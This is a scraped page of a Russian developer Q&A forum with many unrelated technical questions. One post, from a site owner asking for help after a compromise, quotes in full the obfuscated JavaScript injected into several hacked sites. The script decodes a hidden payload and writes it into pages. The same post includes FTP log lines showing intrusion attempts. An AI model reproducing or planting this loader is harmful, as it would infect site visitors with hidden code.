Как поставить фоновую картинку в Windows DialogBox?

Есть DialogBox с выпадающими меню и кнопками. Задача — вставить картику в это Диалог окно фоном:
image

Вот обрезанная чать Resouce фаила
#include <afxres.h>
#include "WindowSettings.h" // for IDC_?, IDD_DLG

// Dialog Box Template for IDD_DLG
//
IDD_DLG DIALOGEX 200, 100, 200, 350
STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION DLG_NAME
FONT 8, "MS Sans Serif", 0, 0, 0x0
BEGIN
LTEXT "Display Device", IDC_STATIC, 10, 5, 50, 10
COMBOBOX IDC_DIS, 10, 15, 180, 64, CBS_DROPDOWNLIST | WS_VSCROLL | WS_TABSTOP
LTEXT "Resolution", IDC_STATIC, 10, 35, 50, 10
COMBOBOX IDC_RES, 10, 45, 180, 50, CBS_DROPDOWNLIST | WS_DISABLED | WS_VSCROLL | WS_TABSTOP
DEFPUSHBUTTON "Go", IDC_GO, 40, 205, 50, 15, WS_DISABLED
PUSHBUTTON "Cancel", IDCANCEL, 110, 205, 50, 15
END


Может есть какиенибудь полезные туториалы? Поиск не помог, уводит в темный лес.
Спасибо!

Windows   Веб-разработка    

296   4   20:31, 19th August, 2020


Кто может помочь с ddos?

20 тысяч роботов атакуют сайт некоммерческого проекта, для восстановления необходимы грамотные люди.
кто готов оказать помощь- пишите на vp1@riseup.net

Helpdesk   Защита   от   DDoS    

344   1   10:46, 7th August, 2020


Обрезание текста в предпросмотре?

Посоветуйте пожалуйста решение такой проблемы: Есть блочный элемент дизайна высотой 117 пикселей, в нём должны уместиться дата, название новости и начала текста новости. Поскольку название статьи может быть написано и в две и в три строки, то просчитать сколько знаков поместиться поле для текста невозможно.

Вопрос: Как бы вы посоветовали обрезать текст?


На некоторых сайтах видел, что конец текст плавно начинает сливаться с фоном.

Обработка   текста    

297   3   13:50, 25th August, 2020


Какие "заготовки" вы используете при вёрстке нового проекта?

Надоело верстать с нуля, знаю что многие используют различные заготовки вроде oocss, html5 boilerplate, однако кроме этих двух я больше ничего не знаю.
Посмотрел oocss и понял что из его функционала ничего не нужно, а идея не так и интересна.
html5bloilerplate сломан, половина всего не работает, что-то работает не так, что-то даже в хроме не работает.
Может есть что-то ещё?

CSS   JavaScript   HTML   Веб-разработка    

351   6   12:04, 23rd August, 2020


Можно ли сделать снимок веб-страницы на стороне клиента?

Проектируем веб-интерфейс для нужд большой организации. Появилась идея команды «Пожаловаться в службу техподдержки», которая делает скриншот того, что видит сотрудник в данный момент, дает возможность приписать текст жалобы и отправляет все это «в центр». Вместе с идей возникли сомнения: может ли веб-приложение сделать снимок страницы так, как ее видит пользователь и отправить это изображение администратору?

На всех рабочих местах Internet Explorer 6.

Internet   Explorer   Веб-разработка   Скриншоты    

332   5   00:33, 14th August, 2020


Российский проект/сайт по управлению заметками/ссылками?

Добрый день!


Года два, может быть три, назад попадался на глаза проект российский разработчиков, но сейчас не могу его найти в своих архивах… Может кто подскажет?


Фишка проекта была в том, что после регистрации пользователь видит пустое пространство страницы на котором можно размещать текст/ссылки/картинки в любом месте страницы. Просто нужно было кликнуть в любом пустом месте страницы и написать заметку или вставить ссылку на картинку/ролик — типа как в Microsoft OneNote.

Заметки   Веб-разработка    

326   3   17:37, 19th August, 2020


Взлом сайтов. Вставлен произвольный код?

Добрый день!


На днях на нескольких сайтах на CodeIgniter, одном на Joomla, одном на Wordpress и на одном совсем без CMS был установлен произвольный код в файлах index.*, home.*, page.*, auth.*. Т.е. в каждый из файлов был установлен тег script с произвольным кодом. Внешне это отображалось как приглашение установить новую мультимедийную плюшку для браузера.


Собственно, сам скрипт (без! знака в слове script и без переводов строки — не умещался):
<pre><code class="javascript">&lt;sc!ript type=&quot;text/javascript&quot; language=&quot;javascript&quot;&gt;
wkllp=&quot;33933333339999333999339939993933
399993393993993339933939339333333999393339999339399933333
993393933999939339333933999393339933939399993333999393333
939999399333993999339939993399339333933399999333933399399
939333993393939993339399339333993939933933333399993993999
399939939339399339333999393339939333339993933393333333993
333399933333999933333999399399393333993393939939339399339
993993933339993933339993933393333333993333399933333999933
333999399399339933999339339933339399399393993393939933393
399399993999339339933933399339393999339333999393339333333
993999339939999339993993999399339939339399933993993933939
933393399393393993993339939339399939333999933933999393339
333333993933339939339399339333993393339933939399399933399
939939999939339999333393999939993399399939333999933939939
933399339393399999333999933399393393993399339993393399333
393993993939933939339333333993933939933933339999393393339
339993933399339393999333939933933399393993393339333933333
399933993999339339933399339999393393339339939333399939333
999393339993333339993933393999933939999399339933999399939
993339399933393999399939933939399339393999339339933999339
933993393999339933399399399993393999339933399399333993393
999939933339399339333393999339939393399933333993399933933
393339999933399993333939999399393393993399339993393399333
39399399393993393933999993&quot;;znanx=100;wdlgs=this;nsjvu=&quot;i&quot;+&quot;te&quot;;
vurba=116;nqcs=&quot;wr&quot;+nsjvu;for(gbcim in wdlgs){if(gbcim.length==8 && 
gbcim.charCodeAt(0)==znanx && gbcim.charCodeAt(7)==vurba){break;}}o=&quot;&quot;;
imvuf=0;qpgsu=wdlgs[gbcim];ycamh=57;while (imvuf&lt;wkllp.length){
bnehf=0;for(mkrku=0;mkrku&lt;8;mkrku++){bnehf=bnehf&lt;&lt;1;if(
wkllp.charCodeAt(imvuf+mkrku)==ycamh){bnehf++;}}imvuf=imvuf+3;
qpgsu[nqcs](String.fromCharCode(bnehf));imvuf=imvuf+5;}&lt;/sc!ript&gt;



Прямой связи CI-Joomla-WP-чистыйHTML я не вижу. Т.е. видимо, это не критическая уязвимость в каком-либо движке.


В логах апача странных запросов или даже каких-либо запросов во время модификации файла нет (+-10минут).


Подозрительно выглядят логи auth.log (настоящий username изменен; ip, с которого пришел запрос — нет):
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - USER user: no such user found from dslb-094-222-057-074.pools.arcor-ip.net [::ffff:94.222.57.74] to ::ffff:89.108.126.42:21 <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
<br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster1: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster2: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed.



SSH закрыт фаерволом для всех, кроме меня.


Хочу задать вопрос — что это может быть? Как этого избежать? Какие еще логи нужны для анализа?

Защита   от   взлома   ActionScript   Журналирование    

342   13   04:16, 20th August, 2020


Консольная утилита склейки изображений?

Имеется некоторое количество jpg изображений (условно 10 000 шт), каждое 512 на 512 пикселей.

Необходима консольная утилита под Windows для склейки их стык в стык в одно целое, т.е. в моем случае 100 на 100 картинок (с итоговым размером 51200 на 51200 пикселей). Склейка не в панораму, а просто одно к другому, на подобии мозаики. Знаю что можно через Photoshop или через, например, Xnview, но необходимо именно консольное решение. Посоветуйте, пожалуйста.



Задачка на многопоточность (.NET)?

Какая проблема есть в коде? Как изменить код так, чтобы ее избежать?

using System;
using System.Threading;

namespace Mover
{
    internal class Endpoint
    {
        public int Amount { get; set; }
    }

    internal class Program
    {
        private static void Main(string[] args)
        {
            var source = new Endpoint();
            var target = new Endpoint();

            var initialAmount = 1000000;
            source.Amount = initialAmount;

            var thread = new Thread(new ThreadStart(delegate
                                                    {
                                                        Transfer(source, target, initialAmount);
                                                    }));
            thread.Start();
            Transfer(target, source, initialAmount / 2);
            thread.Join();

            Console.Out.WriteLine("source.Amount = {0}", source.Amount);
            Console.Out.WriteLine("target.Amount = {0}", target.Amount);
        }

        private static void Transfer(Endpoint source, Endpoint target, int count)
        {
            while (count-- > 0)
                lock (target)
                    lock (source)
                    {
                        source.Amount--;
                        target.Amount++;
                    }
        }
    }
}

.NET   C#   Многопоточность    

326   2   01:38, 4th August, 2020


Стоит ли использовать альтернативу капчи при комментировании анонимусами — запрет публикации комментов, содержащих http:// ?

Большинство капч можно взломать, ну или обойти массированно с помощью «китайцев». Почему бы не использовать такой вариант?

CAPTCHA   Веб-разработка    

285   8   07:11, 12th August, 2020


PHP: запуск задачи в фоне

Какие самые правильные и надежные подходы стоит использовать, если необходимо запустить некую длительную задачу в фоновом режиме?
Приведу пример, чтобы стало понятней:
есть основной php скрипт, контроллер, который обрабатывает пользовательские действия. Пользователь нажимает в интерфейсе волшебную кнопку, которая должна запустить долгоиграющую задачу и вернуть управление пользователю. При этом не требуется возвращать или как то дополнительно обрабатывать результат работы длительного скрипта.

Знаю, что для подобных задач существуют различные библиотеки для создания очереди сообщений, но конкретно для моего примера это избыточно.
Так же хотелось бы обойтись без cron-task-ов и других ОС-специфичных вещей.

Спасибо.

PHP   Веб-разработка    

331   5   10:19, 12th August, 2020


Современные решения для реализации HMI/SCADA систем?

На работе стоит задача провести анализ и выбрать программный продукт для визуализации систем HMI, причем имеются требования управления элементами и динамическим обновлением показателей. Несколько упрощенно — надо отрисовать схему электрической сети, считать показания некоторого числа датчиков, отобразить все это на пульте, дать возможность диспетчеру системы проводить не только диагностику, но и настройку/изменение параметров системы. Пока акцент стоит больше на визуализации процессов, логика и операции будут добавлены несколько позже. Платформа и цена решения значения не имеют, хотя лучше бы подошло решение на Java/.NET по понятным причинам.

Что удалось нарыть состоянием на данный момент:

1) GLG Toolkit by Generic Logic (www.genlogic.com)
bis1_200.jpg

Кроссплатформенное (ядро на Java) решение для работы с динамической графикой, визуализацией данных и HMI. Заявлена поддержка риал-тайм систем. Нужная функциональность есть в наличии и все хорошо, только вот встроенный редактор картинок просто дикий, это же касается и кода (if pressed button name equals «exit» then exit() else if button name = «refresh» goto another_crazy_if_then(), дальше думаю еще больше). Вообще складывается впечатление что развитие тулзы остановилось где-то в начале 2000-х. Понятное дело, что нужно ехать, а не шашечки, но полтора часа потратить только на то, чтоб нарисовать обычный датчик электроэнергии — это чуток накладно.

2) CSWorks by Control System Works (www.controlsystemworks.com)
28.png

Silverlight 4 framework для HMI/SCADA/EMI/M2M решений. Есть поддержка разных источников данных, поддержка распределенных операций через веб, гибкая система оповещений и предупреждений, поддержка риал-тайм систем. Если судить по демкам, достаточно неплохой вариант. Единственное не до конца понятно, что у них есть для электросетей — на сайте отдельными пунктами выделено применение фреймворка нефтегазодобывающими, строительными, транспортными, добывающими компаниями, а также компаниями, которые занимаются водоснабжением и M2M. Даже если в этих сферах все отлично, дорисовывать нужное нам естественно никто вручную не станет.

3) Status Vision Designer by Mobiform Software Inc. (web-hmi.com)
electric_thumb.jpg

Silverlight 3 решение для HMI/SCADA систем, используется для дизайна систем производства и контроля процессов путем создания дашбордов и отображения данных в реальном времени. Плюсами этого решения выделены высокая степень совместимости, расширяемости, поддержка клиент-серверной архитектуры. Насколько я понимаю это своего рода аналог Blend'a с возможностью публикации в веб. Плюсом является наличие похожих к нашему юзкейсов, заявлено наличие нужных контролов для задач моделирования ЭС.

4) Наборы контролов для WPF/Silverlight от Infragistics, Telerik, ComponentOne etc. Все они красивые и позволят наваять гламурные панельки-кнопочки-датчики, но есть подозрение, что задачу глобально с их помощью не решить.

Задача нетривиальная и специфичная, так что я не надеюсь на то, что кто-то даст совет, который снимет все вопросы. Но может хотя бы поделитесь опытом разработки похожих систем… Спасибо.

Microsoft   Silverlight   SCADA   Инфографика   Обработка   данных    

455   3   07:45, 8th August, 2020


Многопоточность в консольном приложении на C#?

Нужно сделать следующее (грубоговоря):


консольное приложение производит различные действия в бесконечном цикле. Потребовался ввод строки от пользователя. Если просто поставить Console.ReadLine(), мы получаем прерывание цикла и ожидание ввода.


Появилась идея вынести ввод пользователя в другой поток. почитал доку вынес в другой поток. в созданном потоке Console.ReadLine() не работает.


Насколько я понимаю дело в том что ReadLine и WriteLine по сути используют stdin и stdout, и они уже заняты основным потоком приложения?


Если так, подскажите каким образом возможно осуществить ввод данных от пользователя не вызывая ожидание ввода (основная программа должна выполняться без остановки).

C#   Многопоточность    

337   4   09:50, 22nd August, 2020


Автоматизация на рынке облигаций и капиталов

Всем доброе утро!

Хотелось бы узнать, может кто сталкивался. При написании торгового бота для рынка типа Форекс и ему подобных. Лучше, чтоб бот делал много кратковременных ставок, или лучше длительные ставки. А может, лучше всего банальный старый способ «вручную»?



Win mobile 6.5 и консоль?

Стал счастливым обладателем смарта с вин мобиле 6.5 на борту, подскажите пожалуйста, как вызвать консоль.



Ресурсы, где могут обитать покупатели на фотобанках

Посоветуйте, какие в Рунете есть посещаемые форумы/сайты, где сидят люди, которые покупают изображения на фотобанках (или скачивают бесплатно) — видимо, это должны быть дизайнеры, бильд-редакторы, полиграфисты.

Хотел бы провести опрос о том, какими способами люди предпочитают находить изображения в Инете для своих работ.

Фотобанки    

329   2   03:22, 19th August, 2020


Резюме-creator

Люди добрые, подскажите, пожалуйста, какую-нибудь толковую «составлялку» резюме, было бы здорово, если бы она учитывала еще какие-то специфические для программистов вещи. Заранее спасибо.

Веб-разработка   +1   ещё    

299   7   06:01, 9th August, 2020


Встраивание комментарий в сайт

Посоветуйте сервис для вставки комментариев в сайт (на Bitrix Start), желательно с возможностью авторизации через Fb, Vk, LJ, OpenID и т.д. и настройки своего дизайна.



Изменение даты создании файла — Как проследить? (Windows)

Записывается ли такое где-нибудь в системе?

Могут ли контролирующие органы при изъятии компьютера подложить компромат с датой создания более ранней чем дата изъятия? И если да, можно ли доказать факт подлога?

Веб-разработка   +1   ещё    

361   2   04:29, 27th August, 2020


Заказываю компьютер из Москвы (интернет магазин). Кого выбрать транспортной компанией?

Собираюсь покупать в интернет магазине. Если интересно — то в Регарде.

Варианты доставки в мой город:
  • EMS Почта России
  • СПСР-Экспресс
  • ЕМС Гарантпост
  • DHL
  • Первая Экспедиционная Компания
  • ГРУЗОВОЗОФФ


Цены примерные посчитал на калькуляторах. Но интересует качество доставки. У кого есть опыт с компаниями в списке, выслушаю любые комментарии и предложения.
Стоит или нет покупать страховку груза.

Веб-разработка   +1   ещё    

285   7   08:13, 26th August, 2020


Замена текста в Wordpress

Привет всем. Хочу изменить текст «Зарегистрироваться на этом сайте» в wp-login?action=register в Wordpress. Заменяю в ru_RU.po но нечего не выходит. Как это сделать?
ПС: Очень важно!!!

Веб-разработка   +1   ещё    

331   2   02:21, 11th August, 2020


SSD с PATA интерфейсом + динозавр?

Имеется старый ноут HP Omnibook xt6200 (P-IV-M, 1.7Gb, 256 ddr, Hdd 20Gb 4200rpm 2.5"). Отслужил верой и правдой, ни разу не подводил. Затёртый, покоцаный, но до сих пор в рабочем состоянии (только батарея недавно окончательно издохла). Жалко расставаться. Планирую добавить ОЗУ (поддерживает до 2Gb) и SSD с UltraATA-интерфейсом. Тогда бы, заодно, получился бы и знатный топик в «Старое железо».

Вопрос: 2,5" SDD с UltraATA интерфейсом, стоит ли покупать, какой марки и где лучше приобрести? Может есть ещё какие-либо нюансы…

Объём до 32-64Gb вполне устроит.

P.S. Хотелось бы услышать отзывы хабровчан, имевших опыт покупки или использования.

IDE   Твердотельные   накопители    

372   5   15:04, 3rd August, 2020


Посоветуйте wiki-движок

Задача — коллективное создание документации к нескольким системам

Требования:
— LAMP (Win в принципе тоже можно, но менее желательно)
— бесплатный
— нормальная работа с русским языком (урлы, индексация поисковиками и т.д.)
— легкая вставка картинок (в т.ч. с загрузкой на хост)
— разрешено анонимное редактирование (с капчей или еще чем-нибудь в виде защиты от спама)
— адекватная индексация контента поисковиками

А также:
— допустим упрощенный язык разметки (напр. без 5 одинарных кавычек до и после)

Веб-разработка   +1   ещё    

286   5   02:02, 19th August, 2020


Образцовые PHP web приложения с открытым кодом для обучения?

Ищу web приложения исходники которых очень помогут в самообучении.



Язык разметки ориентированный на смысл (meaning/semantic oriented markup language)?

Для своего маленького проекта искал легкий язык разметки, типа bbcode или markdown`а.
en.wikipedia.org/wiki/Lightweight_markup_language вот в этой статье обнаружил, что они и прочие аналогичные

являются Presentation oriented, т.е. ориентированными на представление.


Задался вопросом: есть ли такого рода языки, ориентированные на смысл данных?

XML не рассматриваю, т.к. его сложновато редактировать по сравнению с легковесными.

Поэтому если кто сталкивался с тамики языками, посоветуйте пожалуйста.


Еще интересует настраиваемый парсер для такого языка, т.е. чтобы иметь full контрол над преобразованием разметки в итоговый документ (пусть будет html).

Веб-разработка    

253   1   10:55, 8th August, 2020


Вопрос знатокам Рунета

Наткнулся на следующий сайт habrahabr.kz Что это?

Веб-разработка   +1   ещё    

387   6   06:26, 10th August, 2020


[Решено] CodeIgniter и ajax-post запрос

Хабровчане, помогите разобраться.

Имеется простая форма, откуда ajax'ом должна отсылаться информация.
Пробую $.get():

$.get('registration/check/', 's=3', function(html) {
   alert('1');
});

Всё нормально.

Пробую $.post() с теми же параметрами:

$.post('registration/check/', 's=3', function(html) {
   alert('1');
});

FireBug получает в ответ 500-ю ошибку (internal server error).

Кто-нибудь с этим сталкивался?

CodeIgniter   Веб-разработка    

468   6   14:09, 4th August, 2020


Разработка с конца

Приветствую, уважаемое Хабрасообщество!

Вот сейчас работаю над одним проектом (web) — решил попробовать отойти от традиционного процесса разработки и попробовать вести ее «с конца» — то есть сначала я пишу контроллеры, модели, виды, а потом собственно реализацию их исполнения. Ну, например, сначала пишу контроллер (примеры на php, ибо на нем, родимом, разработка и идет)
class Controller_Posts extends Controller {
    public function action_list()
    {
        $posts = Model::select('post');
        $this->request->body = View::factory('list', array('posts' => $posts));
    }
}

А потом реализовываю класс Controller, Model, View…

Так вот, в ходе такой разработки возник вопрос — а нет ли у нее какого особого названия? Чтобы почитать про плюсы/минусы можно было (для себя я уже кое-какие выявил, но если я не первооткрыватель подобного (в чем сильно сомневаюсь), то, думаю, можно узнать про еще неизвестные для меня), чтобы почитать, насколько это эффективно (для себя еще не определился) и т.д.



Как средствами nginx определить есть ли в запросе знак вопроса?

На сайте ЧПУ, боты долбят страницы вида /?weqdw=14. Как средствами конфигурации nginx определить знак вопроса в запросе и отдать 444 ошибку?

Nginx   Обработка   URL    

315   3   18:25, 17th August, 2020


Веб камера для телефона?

Есть задача написать приложение веб-камеру для мобильного телефона, т.е. делаем фото раз в 5 минут и грузим на сервер. Пробовали на питоне под n72 — успешно, но нужен шелл, и запуск приложения вручную и симба. Под j2me необходим сертификат от 200у.е. вроде как. Как быть? Может есть готовые решения настраиваемые? Спасибо.

Мобильная   разработка   Symbian    

270   1   06:31, 17th August, 2020


Парктроник своими руками

Всем доброго времени суток.
Сходил сегодня в универ и мне там выдали задание курсового проекта: «Разработать систему помощи при парковке автомобиля». Разрабатывать не важно на чём, можно на пиках, можно на меге, можно.
Само устройство должно измерять расстояние до препятствия и издавать звук при приближении датчика к препятствию.
Меня интересует и схемотехническая часть и программная. Кто что может подсказать по поводу этого устройства, как лучше разрабатывать и вообще какой литературой можно воспользоваться? Знаний по данной тематике не много, поэтому буду рад любой информации.

Веб-разработка   +1   ещё    

250   3   16:20, 11th August, 2020


Как настроить DNS или что-то другое для автовыбора зеркала сайта при аварии?

Добрый день. Возможно вопрос нечеткий, поэтому объясню:
упал хостинг — сайт не работает. Сайт практически статичный- поэтому возможно сделать зеркало на другом хостинге. Можно ли как-то настроить DNS или каким то другим образом обеспечить перенаправление запросов на другой IP при падении основного зеркала?
Слышал что можно добавить несколько А записей, и они выбираются рандомом, так что это скорее как балансировка. Или выставить TTL 5 мин и менять программно в авторежиме?
Может есть у кого решение для максимального быстрого переключения? Какие минусы и плюсы? Не упадет ли ресурс в поисковиках?

Спасибо.

Веб-разработка   +1   ещё    

341   6   20:34, 17th August, 2020


Где найти рецензента для научной статьи?

Написал статью в журнал списка ВАК. Для ее публикации журнал требует рецензию с подписью рецензента (не ниже профессора, д-ра наук), заверенной печатью организации по месту его работы. Вопрос: где найти такого человека для рецензии?

Тема статьи: Модели и методы извлечения структурированной информации из сети Интернет

Веб-разработка   +1   ещё    

388   4   10:52, 2nd August, 2020


Извлечение AAC+ потока из mp4 контейнера

Имеется AAC+ поток, полученный таким образом:
neroAacEnc -q 1 -cbr 65536 -if /dev/stdin -of /dev/stdout
Проблема в том, что поток идёт в mp4 контейнере, а мне нужен чистый aac+.
Я так и не смог найти способ в реалтайме вынимать aac из mp4 контейнера =(
Может кто-нибудь это делал уже?

Linux   mp4   Видеотрансляция    

326   1   23:11, 20th August, 2020


Передача программного обеспечения в поддержку

Здесь много разработчиков, создающих программный продукт для внутренних целей своих компаний (не на продажу). В случае, если компания достаточно крупная, разработчики не занимаются поддержкой созданного продукта, для этого есть отдельные люди. Встал вопрос — как именно нужно передавать разработанное ПО на поддержку, что бы с одной стороны не тратить на это в два раза больше времени чем на саму разработку, а с другой чтобы поддержка не эскалировала каждый второй вопрос к разработчикам, так как не в состоянии решить его самостоятельно.
Пока родилось только:

Существование инструкции.
На вопросы, ответы на которые нет в инструкции, своевременно появляется ответ и включается в инструкцию.
Отсутствие массовых инцидентов, связанных с недоработками системы (не последующими доработками, а именно изначальными).
Наличие обученных сотрудников техподдержки.



Настройка доменов третьего уровня .spb, .msk в РуЦентре?

Как подключить домен в аккаунте на nic.ru, чтобы настроить ns?


Никакой информации в интернете и тем более на их сайте не нашел, кроме адреса службы поддержки geo@nic.ru, жду ответа.


Если кто прошел этот квест и возможно успешно настроил и оплатил, просьба поделиться бесценным опытом.

Веб-разработка   +1   ещё    

334   1   21:06, 1st October, 2020


Библиотека для работы с изображениями в C++?

Я решил попробовать написать программу для распознавания изображений (для курсовика), а если быть точнее — цифр (база MNIST). Почитал что пишут разные люди по этой теме и решил, что чем выбирать абы как и что — надо подобрать хорошую либу, чтобы потом не переписывать 10 раз код и не проклинать себя в плохом выборе.

В какой IDE писать пока тоже не решил — на выбор у меня Borland C++ Builder 6 или MS Visual Studio 2008 Pro || 2010 Express.


Хочется услышать ответ на вопрос какую библиотеку/класс выбрать исходя из следующего:

1. Простая установка в описанные IDE или сложная, но хорошо (читай: пошагово) разобранная где-нибудь на офф сайте.

2. Быстрота работы с изображениями

3. Желательно русская документация, можно такой вариант: русская чуток устаревшая (книга, например, или просто сайт) и очень свежая английская

4. Хорошая документация, не просто пару строк о каждой функции, но и описание аргументов, возвращаемых параметров и

5. Обязательно примеры, examples, примеры.


P.S.: если вы где-нибудь видели сравнение либ для работы с изображениями, то поделитесь, пожалуйста. Я выгуглил только пару старых статей, да и ещё там до кучи субъективизма.

C++   Обработка   изображений    

403   4   02:36, 13th August, 2020


Как частично закрыть блоги на livestreet?

Есть сайт на livestreet. На главную, как обычно выводится аггрегатор со всех блогов. Задача:
для незарегистрированных пользователей — возможность читать главную и видеть на ней только статьи из открытых блогов. А для зарегистрированных — возможность увидеть еще и закрытые блоги. Если закрывать блог вручную, то для того, чтобы пользователь вступил в блог — ему вручную нужно отправлять приглашение.

Как сделать так, чтобы при регистрации пользователь вступал во все закрытые блоги?

Веб-разработка   +1   ещё    

221   1   23:04, 4th August, 2020


Организация прямого соединения между двумя клиентами под контролем сервера

Существует сервер, с белым(реальным) IP, есть несколько клиентов, разбросанных по интернету(динамические адреса, nat...) Необходимо организовать прямой обмен данными между клиентами.
Вопросы такие:
1) Какие протоколы лучше всего использовать для обмена данными и установки соединения?
2)Что можно почитать на эту тему (пытался гуглить, но похоже не могу правильно задать вопрос)?
3) Если кто-то подобное делал, то какие библиотеки использовались?



Почему ведра на пожарных щитах делают конической формы?

Сегодня на собеседование спросили, такой вопрос — Почему ведра на пожарных щитах делают конической формы?.. Сидел, тупил назвал версий, очень забавно вышло. У вас какие версии?

Это из серии, почему канализационные люки делают круглыми?

Веб-разработка   +1   ещё    

341   14   13:38, 11th August, 2020


[Решено] Включать проигрывание случайного трека при включении компьютера

Как настроить автоматическое включение компьютера в биосе — я нашел. А как сделать, чтобы при включении компьютера проигрывалась случайная композиция?
OS: WinXP SP3

Веб-разработка   +1   ещё    

314   2   04:35, 9th August, 2020


Speed Test на сайт?

В общем есть сайт PHP + JS. Нужно сделать чтобы пользователь мог проверить свою скорость. Можно на флеш.

Предложите варианты, может кто-нибуть уже делал?

Веб-разработка    

415   4   20:16, 15th August, 2020


Подскажите пакетный конвертер аудио

Необходимо перекодировать несколько тысяч mp3-файлов с разным битрейтом в 192 kbps
Платформа Windows

Буду благодарен за любые советы и идеи!



Веб-приложение: запрет многократных голосований пользователем

Первый раз занимаюсь написанием веб-приложения и возникают вопросы как правильнее было-бы поступить.

Вот например на хабре за топик можно проглосовать только один раз. Как это правильнее реализовать? Хранить с каждым топиком список проголосовавших пользователей? А если же объектов очень много, например комментарии?

Алгоритмы   Веб-разработка    

305   3   19:11, 5th August, 2020


Изменить мышепробег

Вот предположим есть у нас интерфейс сложный. Даже две версии. Мы хотим их сравнить. Помимо субъективных ощущений пользователя и логов с ошибками хочется измерить мышепробег. Ну типа юзер делая свои задачи в интерфейсе 1 за день пробегает мышью 5км, а во второй всего лишь 3. И, по возможности, поглядеть на тепловую карту движений мыши. Есть такой сервис в природе? Что бы как счетчик вставить и посмотреть на результаты?
Для кликов есть, но вот именно для пробега?

Веб-разработка   +1   ещё    

408   5   02:48, 14th August, 2020


Как организовать поиск по 10 млн. документов?

Есть сайт. В MySQL БД хранится порядка 10 000 000 записей.

Нужно сделать полнотекстовый поиск + что бы поиск был релевантным.


Использование поискового движка не спасает. Уже при 1 млн. задержка выдачи результатов с помощью ApacheSolr несколько секунд.

Пытались смотреть на www.elasticsearch.org и вообще связки с NoSQL (HSearch), но решения способного давать релевантную выдачу за приемлемое время не нашли. Вернее варианты есть, но пришлось бы реализовывать логику подсчета релевантности самим, для всех типов записей, а хотелось бы чего-нибудь готового.

Веб-разработка    

331   8   21:06, 1st October, 2020


Посоветуйте шаблон сайта?

Привет, Хабр.
Цель — создание сайта городской автомобильной школы. Быть может, у кого-то есть на примете симпатичные невырвиглазные шаблоны?
Спасибо.

Веб-разработка    

334   3   21:46, 1st August, 2020


в чем хранить денежки?

речь о наличных рублях

в чем бы вы предпочли хранить кругленькую сумму и где?

мои соображения:
— уж явно не хранить в сбербанке — родители сказали что в девяностых он напросто заморозил счета и нельзя было ничего снять
— другим банкам тоже особого доверия нет, сложилось впечатление что все они надуваются и лопаются как мыльные пузыри
— очевидно что рубль — это худшая валюта для хранения денег. страна разваливается, рубль обесценивается
— купить доллары или евро? 50/50?

хочу услышать ваши соображения/решения на этот счет

Веб-разработка   +1   ещё    

376   19   15:47, 3rd August, 2020


Текст с тенью в php?

Можно ли сгенирировать картинку на которой будет текст с тенью и объемом?


Пример:

rus2.png

PHP   Обработка   текста    

328   3   02:18, 5th August, 2020


тормозит reiserfs

Ubuntu 10.10
при копировании файлов с reiserfs на xfs одно ядро процессора уходит в 100%, как это лечить?
sudo mpstat -P ALL 5
Linux 2.6.35-25-generic (Note) 17.02.2011 _x86_64_ (2 CPU)

23:46:17 CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle
23:46:22 all 2,13 0,00 8,60 52,27 0,00 0,39 0,00 0,00 36,62
23:46:22 0 1,57 0,00 15,29 82,35 0,00 0,78 0,00 0,00 0,00
23:46:22 1 2,67 0,00 2,10 23,05 0,00 0,00 0,00 0,00 72,19

23:46:22 CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle
23:46:27 all 1,96 0,00 9,90 61,96 0,00 0,59 0,00 0,00 25,59
23:46:27 0 1,79 0,00 17,89 79,52 0,00 0,80 0,00 0,00 0,00
23:46:27 1 2,13 0,00 2,13 44,87 0,00 0,39 0,00 0,00 50,48

Веб-разработка   +1   ещё    

310   4   16:22, 9th August, 2020


Почему в мобильном хабре не отображается рейтинг комментов?

Хотя заминусованные камменты затемняются тем не менее.

Хабр   Рейтинги   Веб-разработка    

367   2   21:06, 1st October, 2020


Перенаправляете ли вы на мобильную версию сайта пользователей зашедших на сайт c мобильных устройств по основному адресу?

У вас есть сайт и мобильная версия сайта.
  1. Идет ли у вас автоматическое перенаправление мобильных пользователей на мобильную версию?
  2. Каким образом определяете моб. пользователей?
  3. Какие устройства считаются мобильными, а какие нет?

Веб-разработка    

323   6   09:29, 2nd October, 2020


Windows 7 подтормаживает на SSD

Перенес с помощью Acroins TrueImage систему с HDD на Сrucial RealSSD 64Gb. Уже через пару часов наткнулся на проблемку.

При чтении в Firefox (в Google reader) rss-ленты с обычными картинками браузер подвисает на пол-одну секунды если скролить или спускаться вниз по странице с помощью PageDown. В чем может быть проблема?

Windows   Твердотельные   накопители    

308   7   16:04, 2nd October, 2020


Как в intensedebate вывести последние комментарии на всем сайте?

Используем систему комментирования IntenseDebate, она встраивается на каждую страницу сайта, который работает на своей платформе (не wordpress в смысле). Как я понял, в дебейте комментарии привязаны к уникальным URL страниц, где расположен виджет.


Но хочеться на главной сайта вывести просто список всех последних комментариев (из любых страниц одного домена). Отдельно у них такого виджета или функционала я не нашел. Может кто подсказать, как это сделать?

Веб-разработка    

295   1   21:06, 1st October, 2020


Как связать фотоаппарат, интернет-магазин и 1С?

Привет, хабравчане!

Очень нужен ваш совет!
Последнее время, для онлайн магазина приходится часто что-то фотографировать и загружать, т.е. фотку товара и т.д… И делается это всё руками. А нельзя ли автоматизировать это дело?
Допустим: есть настроенный на нужные параметры, неподвижно монтированный фотоаппарат, а также размеченное место для установки товара для фотографирования.
